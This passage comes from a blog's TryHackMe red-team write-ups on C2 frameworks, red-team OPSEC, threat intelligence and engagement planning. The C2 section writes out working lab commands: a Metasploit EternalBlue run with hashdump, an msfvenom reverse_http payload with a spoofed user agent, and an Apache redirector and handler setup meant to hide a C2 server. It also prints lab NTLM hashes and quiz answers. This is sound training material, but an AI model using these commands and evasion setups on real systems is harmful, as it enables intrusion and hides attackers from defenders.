within a single file. Upon execution by the dropper, the payload immediately initiates beaconing back to the C2 server without requiring a second stage.\nFigure 1: Stageless payload execution flow diagram\nThe process is quite simple. First the cictim downloads and runs the dropper. Beaconing begins immediately after the dropper finishes.\nStaged Payloads These payloads are divided into two stages: the initial Dropper and the secondary payload, known as Stage 2.\nFigure 2: Staged payload execution flow diagram\nThe dropper contacts the C2 server to fetch and execute Stage 2 locally on the victim\u0026rsquo;s machine.\nStaged Payload Process Quote\nThe victim downloads and executes the dropper The dropper calls back to the C2 server for Stage 2 The C2 server sends Stage 2 back to the victim workstation Stage 2 is loaded into memory on the victim workstation C2 beaconing initializes, and the red teamer/threat actors can engage with the victim on the C2 server. It enhances obfuscation and evasion capabilities due to reduced code complexity, and requires a two-step process for full functionality.\nBoth payload types serve different purposes in C2 operations, with stageless being simpler yet less sophisticated and staged offering enhanced features at the cost of more complex implementation.\nPayload Formats C2 frameworks support various payload formats beyond traditional Windows PE files, offering diverse methods for delivering and executing malicious code.\nPowerShell Scripts: Can contain C# code and utilize the Add-Type cmdlet for execution. HTA Files: HTML applications that execute scripts or code within them. JScript Files: JavaScript-based files executed via specific mechanisms. Visual Basic Application/Scripts: Scripts written in Visual Basic designed to run on Windows systems. Microsoft Office Documents: Various file types within the Microsoft Office suite, which can be exploited for malicious purposes. These formats provide C2 frameworks with flexible and evasive ways to deliver payloads, enhancing the range of potential attacks and improving evasion tactics.\nFacing the World In red teaming operations, two key techniques \u0026ndash; domain fronting and C2 profiles \u0026ndash; are used to obscure the presence of malicious infrastructure by leveraging existing trusted services and proxy configurations.\nDomain Fronting This technique involves using a known, trusted service like Cloudflare to mask the true origin of traffic. Compromised devices send beaconing traffic to a domain controlled by the red teamer, which is then proxied through Cloudflare.\nFigure 4: Domain fronting traffic flow diagram\nThe Host header directs traffic to the correct server, making it appear as though the traffic is legitimate and coming from a trusted host.\nDomain Fronting Process Quote\nThe C2 operator has a domain that proxies all requests through Cloudflare. The victim beacons out to the C2 domain. Cloudflare proxies the request, then looks at the Host header and relays the traffic to the correct server. The C2 server then responds to Cloudflare with the C2 commands. The victim then receives the command from Cloudflare. This setup makes it difficult for security teams to identify suspicious activity, as the traffic appears to originate from a reputable service.\nC2 Profiles These profiles enhance the functionality of proxying systems by allowing red teamers to manipulate specific elements of incoming HTTP requests.\nTools like NGINX Reverse Proxy, Apache Mod_Proxy/Mod_Rewrite, and Malleable HTTP C2 Profiles can extract custom headers or control responses based on configurations.\nFigure 5: C2 profile filtering process diagram\nThis technique ensures that only compromised devices receive commands, while security analysts observe only legitimate traffic from trusted services.\nC2 Profiles Process Quote\nThe victim beacons out to the C2 server with a custom header in the HTTP request, while a SOC analyst has a normal HTTP request The requests are proxied through Cloudflare The C2 server receives the request and looks for the custom header, and then evaluates how to respond based on the C2 profile. The C2 server responds to the client and responds to the analyst/compromised device. Both methods effectively obscure the operations of red teamers by exploiting existing infrastructure for cover, making it harder for adversaries to detect malicious activities.\nThis blog post on Malleable C2 Profiles in tools like Cobalt Strike provides further insight into their implementation and effectiveness.\nQuestions and Answers Question 1: What is the term for the software on a compromised computer that communicates back to a command and control (C2) server?\nAgent\nQuestion 2: What is the beaconing option that introduces a random delay value to the sleep timer?\nJitter\nQuestion 3: What is the term for the first portion of a Staged payload?\nDropper\nQuestion 4: What is the name of the communication method that can potentially allow access to a restricted network segment that communicates via TCP ports 139 and 445?\nSMB Beacon\nCommon C2 Frameworks Free C2 Frameworks\nOpen-source solutions that are freely available. Popular due to their accessibility and community support, though they may be better understood by security teams, increasing the likelihood of detection.\nMetasploit Armitage: GUI for the Metasploit Framework; Written in Java; Similar to Cobalt Strike Powershell Empire / Starkiller Covenant: Written in C#; Primarily used for post-exploitation and lateral movement; Highly customizable agents Sliver: Advanced, highly customizable multi-user, CLI-based; Written in Go Paid C2 Frameworks\nThese frameworks often offer advanced features that open-source tools lack. For instance, some provide pivoting capabilities or VPN functionalities. May offer features such as stealthier operations and less detectability by antivirus software.\nCobalt Strike: Written in Java Brute Ratel Other C2 Frameworks\nC2 Matrix provides a comprehensive list of C2 frameworks. Question 1: Learn about some common C2 Frameworks that are out in the wild!\nNo answer needed\nSetting Up a C2 Framework Setting Up Armitage # downloading git clone https://gitlab.com/kalilinux/packages/armitage.git \u0026amp;\u0026amp; cd armitage # building bash package.sh # verifying build | release build is in ./releases/unix/ cd ./release/unix/ \u0026amp;\u0026amp; ls -la Preparing the Environment # starting the database systemctl start postgresql \u0026amp;\u0026amp; systemctl status postgresql # initializing the database | you can NOT be root user when initializing the database msfdb --use-defaults delete msfdb --use-defaults init Starting and Connecting to Armitage # starting the team server cd /opt/armitage/release/unix \u0026amp;\u0026amp; ./teamserver \u0026lt;your-ip\u0026gt; \u0026lt;your-password\u0026gt; # starting the armitage client and connecting to the team server cd /opt/armitage/release/unix \u0026amp;\u0026amp; ./armitage Managing Access Quote When operating a C2 Framework, you never want to expose the management interface publicly; you should always listen on a local interface, never a public-facing one. This complicates access for fellow operators.\nFortunately, there is an easy solution for this. For operators to gain access to the server, you should create a new user account for them and enable SSH access on the server, and they will be able to SSH port forward TCP/55553.\nArmitage explicitly denies users listening on 127.0.0.1; this is because it is essentially a shared Metasploit server with a Deconfliction Server that when multiple users are connecting to the server, you are not seeing everything that your other users are seeing. With Armitage, you must listen on your tun0/eth0 IP address.\nQuestion 1: Read the task, set up Armitage, and explore the User Interface.\nNo answer needed\nC2 Operation Basics Question 1: Which listener should you choose if you have a device that cannot easily access the internet?\nDNS\nQuestion 2: Which listener should you choose if you\u0026rsquo;re accessing a restricted network segment?\nSMB\nQuestion 3: Which listener should you choose if you are dealing with a Firewall that does protocol inspection?\nHTTPS\nRunning Armitage on Kali Installing Armitage sudo apt install armitage Preparing the Environment - PostgreSQL # starting the database sudo systemctl start postgresql.service # verifying it runs correctly systemctl status postgresql.service Preparing the Environment - MsfDB # delete previous configuration sudo msfdb delete # initialize the db sudo msfdb init Starting the TeamServer sudo teamserver 127.0.0.1 Super1Secret2Password3 Connecting to the TeamServer with the Armitage Client # Host:127.0.0.1 | Port:55554 | User:msf | Pass:Super1Secret2Password3 armitage Connecting to the THM Network via VPN (OpenVPN) sudo openvpn \u0026lt;your-vpn-config\u0026gt;.ovpn Verify network connection to the target ping \u0026lt;target-ip\u0026gt; Setting LHOST: Armitage \u0026gt; Listeners \u0026gt; Set LHOST\u0026hellip; \u0026gt; Set it to the IP of your attack box. # if connected via openvpn and only the one default network interface on your box ip a | grep inet | grep tun0 Start a Listener: Meterpreter on port 5678 Armitage \u0026gt; Listeners \u0026gt; Reverse (wait for) \u0026gt; Port:5678 and Type:meterpreter \u0026gt; Start Listener Adding / Scanning the Target Hosts \u0026gt; Nmap Scan \u0026gt; Quick Scan (OS detect) \u0026gt; Enter scan range: \u0026lt;targetbox-ip\u0026gt;/32 Selecting the exploit Select exploit/windows/smb/ms17_010_eternalblue and drag it over our target. Change Settings: Set LPORT to port 5678. Run it. Doing It Directly with Metasploit (CLI) Connecting to the THM network sudo openvpn \u0026lt;your-vpn-config\u0026gt;.ovpn Verify network connection to the target ping -c 3 \u0026lt;your-target-ip\u0026gt; Running and configuring Metasploit msfconsole -q use exploit/windows/smb/ms17_010_eternalblue # check current exploit config and configure it to fit your needs set rhost \u0026lt;your-target-ip\u0026gt; set lhost \u0026lt;your-own-ip\u0026gt; set lport 5678 run Grab the relevant info to answer the questions # answers to questions 1 and 4 hashdumps # answer to question 2 cat c:/users/administrator/desktop/root.txt # answer to question 3 cat c:/users/ted/desktop/user.txt Questions and Answers Question 1: What is the Administrator\u0026rsquo;s NTLM hash?\nc156d5d108721c5626a6a054d6e0943c\nQuestion 2: What flag can be found after gaining Administrative access to the PC?\n\u0026lt;redacted-flag\u0026gt;\nQuestion 3: What flag can be found after gaining access to Ted\u0026rsquo;s user account?\n\u0026lt;redacted-flag\u0026gt;\nQuestion 4: What is Ted\u0026rsquo;s NTLM Hash?\n2e2618f266da8867e5664425c1309a5c\nAdvanced C2 Setups Note, that Metasploit as C2 server is limited \u0026ndash; lack of flexibility for advanced operations\nC2 Redirectors Redirector Quote: \u0026ldquo;a server that redirects HTTP/HTTPS requests based on information within the HTTP Request body\u0026rdquo;.\nServers that redirect HTTP/HTTPS traffic based on request body information, often using Apache or NGINX. Can be used to hide the true C2 server\u0026rsquo;s identity, making it harder for defenders to locate and shut it down.\nIt is very important to secure the communication between the redirector and the actual C2 server by establishing a firewall to control traffic flow\nConsiderations\nDirectly exposing C2 servers is a vulnerability \u0026ndash; can be quickly identified and taken down by third parties. To mitigate this risk \u0026ndash; a redirector can be used to obscure the true location of the C2 server.\nBy setting up multiple redirectors across various hosts, it becomes more difficult for defenders to locate and shut down the actual C2 server.\nRedirector Setup The idea is to alter the User-Agent string to avoid detection when connecting back to the redirector, filter by it, and forward it to our C2.\nLeverage Apache\u0026rsquo;s Rewrite module \u0026ndash; mod_rewrite \u0026ndash; to write rules that forward requests based on specific HTTP headers and content. Required Apache modules: rewrite, proxy, proxy_http, headers.\nApache install and configuration # install apt install apache2 # enabling the modules a2enmod rewrite \u0026amp;\u0026amp; a2enmod proxy \u0026amp;\u0026amp; a2enmod proxy_http \u0026amp;\u0026amp; a2enmod headers # start the apache service systemctl start apache2 # verify the apache service has started properly systemctl status apache2 Generating a Reverse HTTP payload with customized User Agent using MSFvenom msfvenom -p windows/meterpreter/reverse_http LHOST=tun0 LPORT=80 HttpUserAgent=NotMeterpreter -f exe -o shell.exe Create the Apache2 mod_rewrite rule to filter for our custom User Agent and forward it to our C2 server # grep -v | invert match | select non matching lines | everything that is not commented out cat /etc/apache2/sites-available/000-default.conf | grep -v \u0026#39;#\u0026#39; Enabling the Rewrite Engine: # (in the VirtualHost section) RewriteEngine On Filter for our custom User Agent with regex RewriteCond %{HTTP_USER_AGENT} \u0026#34;^NotMeterpreter$\u0026#34; Forward the request through Apache2, through our proxy, to our C2 # Base URI that the request will be forwarded to is /. # Target to forward the request to - IP address of our C2 server: http://localhost:8080/ ProxyPass \u0026#34;/\u0026#34; \u0026#34;http://localhost:8080/\u0026#34; Modified Config File \u0026lt;VirtualHost *:80\u0026gt; ServerAdmin webmaster@localhost DocumentRoot /var/www/html RewriteEngine On RewriteCond %{HTTP_USER_AGENT} \u0026#34;^NotMeterpreter$\u0026#34; ProxyPass \u0026#34;/\u0026#34; \u0026#34;http://localhost:8080/\u0026#34; \u0026lt;Directory\u0026gt; AllowOverride All \u0026lt;/Directory\u0026gt; ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined \u0026lt;/VirtualHost\u0026gt; Setting Up the Exploit/Multi/Handler msfconsole # select exploit and modify the payload use exploit/multi/handler set payload windows/meterpreter/reverse_http # Your Public IP address that the Redirector will be connecting to set LHOST 127.0.0.1 set LPORT 8080 # Your Public IP address that the Redirector will be connecting to set ReverseListenerBindAddress 127.0.0.1 set ReverseListenerBindPort 8080 # The Redirectors IP Address and Domain Name set OverrideLHOST 192.168.0.44 # The Port that the HTTP/HTTPS is running on on the Redirector set OverrideLPORT 80 # customize the User Agent Header set HttpUserAgent NotMeterpreter # Meterpreter will respond with the OverrideHost information -\u0026gt; all queries go through the Redirector and NOT the C2 server set OverrideRequestHost true run Reminder: \u0026ldquo;In engagements, you will want to use multiple hosts and DNS records instead of IP Addresses.\u0026rdquo; Question 1: What setting name that allows you to modify the User Agent field in a Meterpreter payload?\nHttpUserAgent\nQuestion 2: What setting name that allows you to modify the Host header in a Meterpreter payload?\nHttpHostHeader\nUse the --list-options with the specified payload to get to the answer.\nmsfvenom -p windows/meterpreter/reverse_http --list-options ... Advanced options for payload/windows/meterpreter/reverse_http: ========================= Name Current Setting Required Description ---- --------------- -------- ----------- ... HttpHostHeader no An optional value to use for the Host HTTP header ... ... Wrapping Up When selecting a C2 framework for Red Team operations, consider the following key factors:\nGoals: Define the primary objectives of your operation. Budget: Assess financial constraints and available resources. Customization Needs: Determine if high levels of customization are required. Anti-Virus Evasion: Evaluate how well the framework avoids detection by antivirus software. Scripting Capabilities: Identify if creating custom modules or scripts is necessary. Reporting Features: Assess whether built-in reporting is essential for your operations. Using the C2 Matrix spreadsheet can help narrow down options based on these criteria. If a Premium framework meets your needs, it is recommended to request an evaluation or trial to ensure it aligns with your requirements.\nQuestion 1: Read the closing task.\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/red-teaming/red-team-fundamentals/intro-to-c2/","summary":"THM | Red Teaming | Red Team Fundamentals| Intro to C2","title":"Intro to C2"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Red Teaming\nModule: Red Team Fundamentals\nRoom: Red Team OPSEC DESCRIPTION:\nLearn how to apply Operations Security (OPSEC) process for Red Teams.\nIntroduction OPSEC Quote: OPSEC is a process to identify, control and protect any information related to the planning and execution of our activities. Operations Security (OPSEC) is a military and cybersecurity process designed to protect sensitive information by denying adversaries access to details about an organization\u0026rsquo;s capabilities and intentions.\nThe OPSEC process comprises five key steps:\nIdentifying critical information Analyzing threats Analyzing vulnerabilities Assessing risks Applying appropriate countermeasures From the red team\u0026rsquo;s viewpoint, OPSEC involves simulating attacks against a blue team\u0026rsquo;s defenses to test and enhance security measures. Despite being authorized, this activity challenges the blue team\u0026rsquo;s objectives, aiming to breach their systems while safeguarding the red team\u0026rsquo;s own information.\nFrameworks like Lockheed Martin\u0026rsquo;s Cyber Kill Chain and MITRE ATT\u0026amp;CK are essential tools for identifying adversary tactics and enhancing OPSEC.\nUltimately, OPSEC is not a set of static rules but a dynamic process focused on protecting critical information and preventing adversary access.\nQuestion 1: Aim to memorize the five steps of the OPSEC process as we explain each one in its own task.\nNo answer needed\nCritical Information Identification In red team operations, critical information refers to any data that, if disclosed to an adversary (such as the blue team), could undermine the mission\u0026rsquo;s success. This includes:\nClient Information: Sensitive details about clients, such as employee names or infrastructure, must be protected under a need-to-know basis to prevent operational compromise. Red Team Identities and Activities: Disclosing red team identities or plans can allow adversaries to better prepare against their attacks. Tactics, Techniques, and Procedures (TTPs): Revealing the specific methods used in attacks could aid adversaries in counteracting these tactics. Operating Systems and Tools: Exposing tools like Pentoo or C2 frameworks can tip off adversaries, enabling them to mitigate such attacks more effectively. Public IP Addresses and Domain Names: Disclosing these details allows blue teams to block or sinkhole malicious activities, potentially neutralizing red team operations. The Principle of Least Privilege (PoLP) is crucial here, ensuring that only essential personnel have access to critical information, minimizing potential leaks and maintaining operational security.\nQuestion 1: Click on View Site and follow through till you get the flag.\nPlease note that some browser extensions, such as NoScript, might prevent the site from loading correctly.\n\u0026lt;redacted-flag\u0026gt;\nHere are the answers to the questions related to OPSEC Critical Info. The hint provides the rationale for each decision.\nLastly, make sure to grab the flag.\nThreat Analysis Threat analysis is a critical aspect of red team operations, focusing on identifying potential adversaries based on their intentions and capabilities. The goal is to answer key questions about who the adversary might be, their objectives, tactics, techniques, and procedures, as well as any critical information they may have obtained.\nAdversary Identification\nDetermine who the potential threat could be, whether internal (blue team) or external parties.\nIntent and Capabilities\nAssess the adversary\u0026rsquo;s intent and their capacity to execute malicious actions against the red team\u0026rsquo;s objectives.\nThe red team\u0026rsquo;s mission is to emulate an attack scenario, helping the blue team identify security gaps. The blue team aims to protect their network from intruders, including both known adversaries and potentially malicious third parties with varying capabilities.\nIn summary, any adversary with the intent and capability to disrupt the red team\u0026rsquo;s objectives is considered a threat, defined as:\nTHREAT = ADVERSARY + INTENT + CAPABILITY Question 1: Try to think of at least one adversary who is not a threat and one who is a threat.\nNo answer needed\nVulnerability Analysis Vulnerabilty Analysis Quote: OPSEC vulnerability exists when an adversary can obtain critical information, analyze the findings, and act in a way that would affect your plans. Question 1: Your red team uses THC-Hydra to find the password for a specific login page. Moreover, they are using the Metasploit framework on the same system as THC-Hydra. Would you consider this an OPSEC vulnerability? (Y/N)\nY\nQuestion 2: One of the red team members posts a photo of his cat every day. Would this be considered an OPSEC vulnerability? (Y/N)\nN\nQuestion 3: Your red team went for dinner, took a photo, and tagged every team member on a popular social media platform. Would you consider this an OPSEC vulnerability? (Y/N)\nY\nHint Quote: \u0026ldquo;Such a photo exposes the identities of the red team members, and using OSINT, it would be possible to discover the skill set and the level of expertise of each member.\u0026rdquo;\nQuestion 4: Your red team posts on its website a list of clients you regularly conduct red team exercises with. Would you consider this an OPSEC vulnerability? (Y/N)\nY\nQuestion 5: One of your red team members posted a photo of her morning coffee. Would you consider this an OPSEC vulnerability? (Y/N)\nN\nRisk Assessment Risk Assessment Quote: In OPSEC, risk assessment requires learning the possibility of an event taking place along with the expected cost of that event. Consequently, this involves assessing the adversary\u0026rsquo;s ability to exploit the vulnerabilities. A risk assessment is essential in OPSEC to evaluate the likelihood of an event occurring and its potential impact. This involves analyzing how adversaries might exploit identified vulnerabilities.\nFactors to consider when assessing risk:\nEffectiveness: How well do countermeasures reduce the risk? Cost-Benefit Analysis: How does the cost of implementing countermeasures compare to the vulnerability\u0026rsquo;s impact? Disclosure Risk: Could a countermeasure reveal information to adversaries? Example-1: Single IP Address Vulnerability\nIf an adversary can detect one activity, they may block all related activities. With a SIEM in place (allowing real-time monitoring), risk is high. Without such tools or limited adversary capabilities, risk might be low. Example-2: Unsecured Database\nHigh risk due to frequent targeting by malicious actors with minimal security measures. By systematically evaluating these factors and examples, red teams can identify and mitigate risks effectively in OPSEC scenarios.\nQuestion 1: Your red team uses THC-Hydra to find the password for a specific login page. Moreover, they are using the Metasploit framework on the same system as THC-Hydra. Knowing that your target uses a properly configured Intrusion Detection System (IDS), would you consider this vulnerability as high risk? (Y/N)\nY\nCountermeasures The final step in addressing vulnerabilities involves applying countermeasures as defined by the U.S. Department of Defense (DoD) Operations Security (OPSEC) Program Manual, which aim to protect critical information by preventing detection, providing alternative interpretations (deception), or denying adversaries\u0026rsquo; collection efforts.\nExample-1: Running Nmap and Metasploit with a single public IP for phishing pages is vulnerable because detection could block all activities. Using separate IPs mitigates this risk.\nExample-2:: An unsecured database storing data from phishing pages poses high risk due to potential targeting by malicious actors. Securing the database ensures only authorized access, reducing this vulnerability.\nQuestion 1: This concludes the fifth element in the OPSEC process. Let\u0026rsquo;s get ready before we apply all five elements to other instances of critical information.\nNo answer needed\nMore Practical Examples In this task, we apply the five elements of the OPSEC process to red team activities involving programs, operating systems (OS), and virtual machines (VMs). The goal is to mitigate risks associated with these tools and configurations. Here is a structured summary:\nIdentify Critical Information\nFocus on program names, OS versions, VM hostnames, and user agents that could be logged by blue teams.\nAnalyze Threats\nMonitor for malicious activity through network logs, such as detecting tools like Nmap using their default user agents.\nAssess Vulnerabilities\nUnique configurations in OS or VM setups can make activities more traceable back to the red team.\nEvaluate Risk\nRisks are influenced by services used (e.g., VPNs logging extensive information), increasing visibility and potential detection.\nApply Countermeasures\nCamouflage OS signatures to avoid detection. Rename VMs and physical hosts to match client conventions, avoiding distinct names like AttackBox. Use custom user agents for tools (e.g., Nmap) with options like --script-args http.useragent=\u0026quot;CUSTOM_AGENT\u0026quot; to prevent identification. The example provided illustrates how setting a custom user agent can help obscure tool usage, reducing detection chances. This approach ensures red team activities remain inconspicuous and effective.\nQuestion 1: Click on View Site and follow through till you get the flag. Please note that some browser extensions, such as NoScript, might prevent the site from loading correctly.\n\u0026lt;redacted-flag\u0026gt;\nMove around the text blocks to find the appropriate placement.\nLastly, we retrieve the flag.\nSummary Five Elements of the OPSEC Process Quote\nIdentify critical information Critical information includes, but is not limited to, red team’s intentions, capabilities, activities and limitations.\nAnalyse threats Threat analysis refers to identifying potential adversaries and their intentions and capabilities.\nAnalyse vulnerabilities An OPSEC vulnerability exists when an adversary can obtain critical information, analyse the findings, and act in a way that would affect your plans.\nAssess risks Risk assessment requires learning the possibility of an event taking place along with the expected cost of that event.\nApply appropriate countermeasures Countermeasures are designed to prevent an adversary from detecting critical information, provide an alternative interpretation of critical information or indicators (deception), or deny the adversary’s collection system.\nQuestion 1: Memorize the five elements of the OPSEC process and learn how to apply them to the different aspects of your cybersecurity work.\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/red-teaming/red-team-fundamentals/red-team-opsec/","summary":"THM | Red Teaming | Red Team Fundamentals| Red Team OPSEC","title":"Red Team OPSEC"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Red Teaming\nModule: Red Team Fundamentals\nRoom: Red Team Threat Intel DESCRIPTION:\nApply threat intelligence to red team engagements and adversary emulation.\nIntroduction Threat Intelligence (TI) and Cyber Threat Intelligence (CTI) refer to information gathered about an adversary\u0026rsquo;s tactics, techniques, and procedures (TTPs). This intelligence is primarily used by defenders to enhance their ability to detect and respond to threats.\nFrom an offensive standpoint, such intelligence can be utilized by red cells (teams simulating attacks) to assist in creating realistic adversarial simulations, aiding in the preparation and understanding of potential attacker behaviors.\nQuestion 1: Read the above and continue to the next task.\nNo answer needed\nWhat Is Threat Intelligence CTI entails gathering information on Indicators of Compromise (IOCs) and TTPs from adversaries.\nThese IOCs and TTPs are often sourced from Information Sharing Analysis Centers (ISACs), which can also be considered platforms for threat intelligence. CTI provides chronological data that helps defenders analyze potential threats.\nTraditionally, blue teams use CTI to detect adversarial behavior by leveraging IOCs. Conversely, red teams utilize this intelligence to evaluate how effectively defenders can counter potential attacks, particularly focusing on Advanced Persistent Threats (APTs) and their documented TTPs. This approach ensures a comprehensive understanding of both the threat landscape and defensive capabilities.\nQuestion 1: Read the above and continue to the next task.\nNo answer needed\nApplying Threat Intel to the Red Team The red team utilizes CTI to gather and analyze adversaries\u0026rsquo; behaviors, employing tools such as MITRE ATT\u0026amp;CK, TIBER-EU, and OST Map.\nThese platforms categorize TTPs based on factors like threat groups, kill chain phases, and objectives.\nThis intelligence is instrumental in planning attacks, allowing the red team to develop tooling and mimic adversary behavior. The focus lies in understanding and replicating specific stages of an attack cycle, guided by categorized TTPs.\nQuestion 1: Read the above and continue to the next task.\nNo answer needed\nThe TIBER-EU Framework NOTE: TIBER-EU Framework white paper The TIBER-EU (Threat Intelligence-based Ethical Red Teaming) framework developed by the European Central Bank emphasizes the integration of threat intelligence into ethical red team practices.\nIts unique aspect is the Testing phase, which involves using threat intelligence to enhance the red team\u0026rsquo;s ability to simulate attacks and evaluate an organization\u0026rsquo;s resilience against cyber threats.\nThis framework serves as a best practice guide rather than providing actionable steps.\nThe following diagram depicts the TIBER-EU process, taken directly from the framework white paper.\nFigure 1: The TIBER-EU framework process flow diagram\nQuestion 1: Read the above and continue to the next task.\nNo answer needed\nTTP Mapping NOTE: Cyber Frameworks: MITRE ATT\u0026amp;CK; OST Map The process of TTP mapping involves associating an adversary\u0026rsquo;s TTPs with a standard cyber kill chain to facilitate effective red teaming. The goal is to emulate adversaries accurately during engagements.\nAdversary Selection\nFactors such as target industry, attack vectors, country of origin, and other criteria are considered.\nKill Chain Framework\nTTPs from frameworks like MITRE ATT\u0026amp;CK are mapped to specific phases of the kill chain, aiding in planning and execution.\nTools and Resources\nMITRE ATT\u0026amp;CK: Provides TTP categorization, with tools like ATT\u0026amp;CK Navigator aiding in visualization. OST Map: Offers a visual link between threat actors and their TTPs. Other Platforms: Resources such as Mandiant Advantage, Ontic, and CrowdStrike Falcon supplement TTP mapping efforts. This structured approach ensures red teams can emulate adversaries effectively, enhancing the accuracy and realism of cyber engagement exercises.\nQuestion 1: Read the above and use MITRE ATT\u0026amp;CK Navigator to answer the questions below using a Carbanak layer.\nNo answer needed\nFirst, we navigate to the MITRE ATT\u0026amp;CK website and search for our APT (Carbanak). Once we find a match, we select it.\nFigure 2: Search results for the Carbanak threat actor group on MITRE ATT\u0026amp;CK\nOn the page dedicated to our APT, select ATT\u0026amp;CK® Navigator Layers and then select view.\nFigure 3: ATT\u0026amp;CK Navigator layer selection interface for Carbanak\nThe following page highlights the mappings; all we have to do is search for our answers.\nQuestion 2: How many Command and Control techniques are employed by Carbanak?\n2\nFigure 4: Carbanak command and control techniques in ATT\u0026amp;CK Navigator\nQuestion 3: What signed binary did Carbanak use for defense evasion?\nRundll32\nFigure 5: Carbanak defense evasion techniques showing signed binary usage\nQuestion 4: What Initial Access technique is employed by Carbanak?\nValid Accounts\nFigure 6: Carbanak initial access techniques in ATT\u0026amp;CK Navigator\nOther Red Team Applications of CTI CTI is used not only to gather insights about adversaries but also plays a crucial role during red teaming engagements. CTI can be applied to emulate adversaries\u0026rsquo; behaviors in multiple ways.\nC2 Traffic Manipulation\nRed teams can modify Command and Control (C2) traffic to mimic that of the targeted adversary. This involves creating malleable profiles based on intelligence gathered from sources like IOCs, packet captures, or ISACs.\nThese profiles allow operators to manipulate aspects of C2 traffic, such as headers, URIs, server responses, and more, making the traffic indistinguishable from that of the actual adversary.\nAnalysis of Adversary Behavior\nCTI can also be used to analyze how adversaries behave when using specific malware or tools. For example, a red team can study an adversary\u0026rsquo;s custom dropper by analyzing its network traffic, system calls, and objectives. This intelligence can then be used to develop offensive tooling that exhibits similar behaviors or incorporates vital indicators of the adversary\u0026rsquo;s tools.\nBy leveraging CTI during engagements, red teams can create more realistic and contextually accurate simulations, enhancing their ability to emulate adversaries effectively.\nQuestion 1: Read the above and continue to the next task.\nNo answer needed\nCreating a Threat Intel Driven Campaign The process of creating a well-planned, threat-intel-driven red team campaign involves the following steps:\nIdentify Framework and General Kill Chain\nStart by choosing a relevant framework or kill chain model (e.g., MITRE ATT\u0026amp;CK) to structure your campaign.\nDetermine Targeted Adversary\nIdentify an adversary based on specific criteria, such as industry, sector, or known behaviors.\nIdentify Adversary\u0026rsquo;s TTPs and IOCs\nGather the adversary\u0026rsquo;s Tactics, Techniques, and Procedures (TTPs) as well as their Indicators of Compromise (IOCs). This can be done through open-source intelligence, threat reports, or other sources.\nMap Threat Intelligence to a Kill Chain\nUse the gathered TTPs and IOCs to map out how the adversary would operate within the chosen framework or kill chain.\nDraft and Maintain Engagement Documentation\nPrepare detailed documentation that outlines the campaign\u0026rsquo;s objectives, tactics, techniques, and resources needed for execution.\nDetermine and Use Needed Engagement Resources\nIdentify and procure necessary tools, platforms, domains, and other assets required to execute the campaign effectively.\nBy following a structured approach, red teams can create a comprehensive and realistic simulation tailored to the targeted adversary\u0026rsquo;s behavior, enhancing their ability to conduct effective exercises.\nQuestion 1: Once the chain is complete and you have received the flag, submit it below.\n\u0026lt;redacted-flag\u0026gt;\nOne possible combination:\nPowerShell \u0026gt; Spearphishing Attachment \u0026gt; External Remote Services \u0026gt; BITS Jobs \u0026gt; DNS \u0026gt; Keylogging This is how it looks like when the flag is triggered:\nFigure 7: Completed threat intelligence campaign with flag submission\nQuestion 2: What web shell is APT 41 known to use?\nASPXSpy\nQuestion 3: What LOLBAS (Living Off The Land Binaries and Scripts) tool does APT 41 use to aid in file transfers?\ncertutil\nQuestion 4: What tool does APT 41 use to mine and monitor SMS traffic?\nMESSAGETAP\nConclusion When planning a red team engagement, it is essential to focus on adversary emulation and leverage threat intelligence to identify adversaries and their behaviors. Each red team will have its own methodology for collecting and analyzing threat intelligence in real-world scenarios.\nIt is crucial to approach the engagement from multiple perspectives \u0026ndash; offensive, defensive, and adversarial \u0026ndash; to ensure comprehensive planning.\nThreat intelligence allows the red team to delve deeper into an adversary\u0026rsquo;s behavior by using blue team methodologies to their advantage. This enables more accurate emulation of adversaries\u0026rsquo; tactics, techniques, and procedures, ultimately enhancing the effectiveness of the engagement.\nQuestion 1: Read the above and continue learning!\nNo answer needed\n","permalink":"https://onebee.blog/blog/thm/red-teaming/red-team-fundamentals/red-team-threat-intel/","summary":"THM | Red Teaming | Red Team Fundamentals| Red Team Threat Intel","title":"Red Team Threat Intel"},{"content":"CHALLENGE INFORMATION\nPlatform: TryHackMe\nPath: Red Teaming\nModule: Red Team Fundamentals\nRoom: Red Team Engagements DESCRIPTION:\nLearn the steps and procedures of a red team engagement, including planning, frameworks, and documentation.\nLearning Objectives\nUnderstand components and functions of a red team engagement. Learn how to properly plan an engagement based on needs, available resources, and TTPs. Understand how to write engagement documentation in accordance with client objectives. Introduction Question 1: Read the above and continue to the next task.\nNo answer needed\nDefining Scope and Objectives The success of a red team engagement hinges on clearly defined client objectives and scope. These elements establish mutual expectations between the client and red team, providing structure and direction for the engagement.\nClient Objectives\nClearly stated objectives are crucial for guiding the engagement. Discussing these objectives with the client ensures alignment of goals and expected outcomes. They form the foundation for all subsequent documentation and planning, ensuring a focused campaign from the outset. Engagement Types\nInternal/Network Penetration Tests \u0026ndash; general approach Focused Adversary Emulation (FAE) tests targeting specific APT groups (e.g., APT38 in finance sectors) Scope of Engagement\nThe scope is set by the client and may outline what cannot be done (e.g., data exfiltration restrictions) or what can be targeted. Specific details vary but are crucial for planning and execution. Analysis and Planning\nFrom a red team perspective, understanding deeper implications of objectives and scope is essential. Dynamic problem-solving approaches are necessary, starting from a bare reading of the client\u0026rsquo;s guidelines. In essence, defining clear objectives and scope ensures effective engagement execution, while considering different assessment types and analyzing implications helps in delivering tailored solutions.\nQuestion 1: Read the example client objectives and answer the questions below.\nNo answer needed\nQuestion 2: What CIDR range is permitted to be attacked?\n10.0.4.0/22\nQuestion 3: Is the use of white cards permitted? (Y/N)\nY\nQuestion 4: Are you permitted to access \u0026lsquo;.bethechange.xyz\u0026rsquo;? (Y/N)\nN\nRules of Engagement Rules of Engagement (RoE) is a legally binding document that outlines client objectives and scope, establishing clear expectations between the client and red team.\nThis document serves as the first official agreement in the engagement process, requiring authorization from both parties. It can also be supported by Non-Disclosure Agreements (NDAs).\nThe format and content of the RoE are crucial, as it is a legally binding contract. Each RoE structure varies based on specific client needs and typically includes standard sections such as:\nExecutive Summary, Purpose, References, Scope, Definitions, Rules of Engagement and Support Agreement, Provisions, Requirements, Restrictions, and Authority, Ground Rules, Resolution of Issues/Points of Contact, Authorization, Approval, and Appendix. While the RoE is a summary, further planning is necessary to expand upon its details and 